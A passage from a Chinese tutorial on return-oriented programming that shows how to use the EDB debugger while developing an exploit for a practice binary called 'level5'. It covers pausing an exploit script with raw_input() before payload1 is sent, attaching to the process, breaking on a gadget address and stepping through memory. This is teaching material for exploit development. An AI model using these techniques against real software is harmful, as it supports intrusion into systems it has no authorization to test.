下面我们就拿level5做例子来讲解一下如何使用EDB。首先是挂载(attach)进程和设置断点(break point)。我们知道当我们在用exp.py脚本进行攻击的时候,脚本会一直运行,我们并没有足够的时间进行挂载操作。想要进行调试的话我们需要让脚本暂停一下,随后再进行挂载。暂停的方法很简单,只需要在脚本中加一句”raw_input()”即可。比如说我们想在发送payload1之前暂停一下脚本,只需要这样:
1 2 3 ss = raw_input() print "\n#############sending payload1#############\n" p.send(payload1)
这样的话,当脚本运行起来后,就会在raw_input()这一行停下来,等待用户输入。这时候我们就可以启动EDB进行挂载了。
使用EDB进行挂载非常简单,输入进程名点ok即可。
挂载上以后就可以设置断点了。首先在调试窗口按”ctrl + g”就可以跳转到目标地址,我们这里将地址设置为0x400610,也就是第一个gadget的地址。
接着我们在0x400610这个地址前双击,就可以看到一个红点,说明我们已经成功的下了断点。接着按“F9”或者点击”Run”就可以让程序继续运行了。
虽然程序继续运行了,但是脚本还在继续等待用户的输入,这时候只需要在命令行按一下回车,程序就会继续运行,随后会暂停在”0x400610”这个断点。
接着我们可以按”F8”或者”F7”进行单步调试,主窗口会显示pc将要执行的指令以及执行后的结果。右边会看到各个寄存器的值。注意,在寄存器(比如说RSP)的值上点击右键,可以选择”follow in dump”,随后就在data dump窗口就能看到这个地址上对应数据是什么了。除此之外,EDB还支持动态修改内存数据,当你选中数据后,可以右键,选择”Edit Bytes”,就可以对选中的数据进行动态修改。
以上介绍的只是EDB的一些基本操作,在随后的章节中我们还会结合其他例子继续介绍一些EDB的高级用法。
0x06小结 可以说ROP最大的艺术就是在于gadgets千变万化的组合了。因为篇幅原因我们准备将如何寻找以及组合gadgets的技巧留到随后的文章中去介绍。欢迎大家到时继续学习。
0x07 参考资料 1.64位Linux下的栈溢出 2.Week4-bigdata-丘比龙版银河系最详细Writeup!
0xFF 版权声明 本文独家首发于乌云知识库(drops.wooyun.org)。本文并没有对任何单位和个人授权转载。如本文被转载,一定是属于未经授权转载,属于严重的侵犯知识产权,本单位将追究法律责任。